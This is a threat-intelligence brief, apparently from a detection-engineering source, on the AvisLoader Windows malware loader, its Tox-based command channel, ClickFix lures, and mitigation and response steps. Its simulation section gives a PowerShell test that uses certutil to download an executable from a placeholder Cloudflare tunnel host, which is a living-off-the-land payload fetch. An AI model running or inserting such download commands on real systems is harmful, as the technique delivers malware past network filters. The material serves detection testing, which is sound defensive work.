AvisLoader Emerges as a Resilient Windows Malware Loader

Summary

AvisLoader is a newly identified Windows malware loader that uses the Tox peer-to-peer (P2P) messaging network for command-and-control (C2) communication. This decentralized approach lets operators maintain connectivity and relocate controllers without depending on fixed domains or centralized servers. The malware is commonly distributed through ClickFix social engineering lures hosted on Cloudflare infrastructure.

Investigation

Varonis Threat Labs uncovered the loader on an exposed staging server together with its command center and related tooling. The investigation identified a DocuSign-themed ClickFix lure that instructs users to run commands that retrieve payloads through Cloudflare Quick Tunnels. Analysis of the executable found Tox-based C2 communication, UAC bypass functionality, and modules designed to hide malicious processes.

Mitigation

Organizations should train users to recognize and report document-signing prompts that ask them to paste commands into terminals or the Windows Run dialog. Security teams should monitor suspicious use of Cloudflare Workers and Quick Tunnels in web-based lures. Detecting unexpected peer-to-peer (P2P) network traffic and unauthorized changes to desktop shortcuts can also help reduce risk.

Response

When AvisLoader activity is detected, security teams should review the process lineage of command shells and script interpreters launched after visits to suspicious domains. Inspect endpoints for modified shortcuts, .backup files, and the VLCAssistant artifact. Network telemetry should also be reviewed for unusual Tox protocol traffic originating from affected hosts.

Simulation Execution

• Attack Narrative & Commands: An adversary has gained initial access to a workstation. To maintain persistence and download their secondary modular payload, they utilize a Cloudflare Quick Tunnel to bypass egress filtering. The attacker uses certutil.exe, a built-in Windows utility, to download the payload from https://malicious-tunnel-id.trycloudflare.com/payload.exe. This method is chosen because certutil is a trusted binary and the traffic appears to be heading to a legitimate Cloudflare infrastructure, making it less likely to be flagged by basic network reputation filters.

• Regression Test Script:

  # Simulation script to trigger the detection rule.
  # This uses certutil to attempt a download from a trycloudflare.com address.
  
  $targetUrl = "https://fake-tunnel-id-1234.trycloudflare.com/malware.exe"
  Write-Host "[*] Simulating adversary activity: Downloading from $targetUrl via certutil..."
  
  # The following command is designed to trigger the 'selection_tunnel' AND 'selection_tools' conditions.
  certutil.exe -urlcache -split -f "$targetUrl" "$env:TEMPmalware.exe"
  
  if ($LASTEXITCODE -eq 0) {
      Write-Host "[+] Simulation command executed successfully."
  } else {
      Write-Host "[-] Command failed (Expected if the URL is non-existent, but telemetry should still be generated)."
  }

• Cleanup Commands:

  # Cleanup script to remove the simulated payload and local artifacts.
  $tempFile = "$env:TEMPmalware.exe"
  if (Test-Path $tempFile) {
      Remove-Item -Path $tempFile -Force
      Write-Host "[+] Cleaned up $tempFile"
  } else {
      Write-Host "[-] No artifact found to clean up."
  }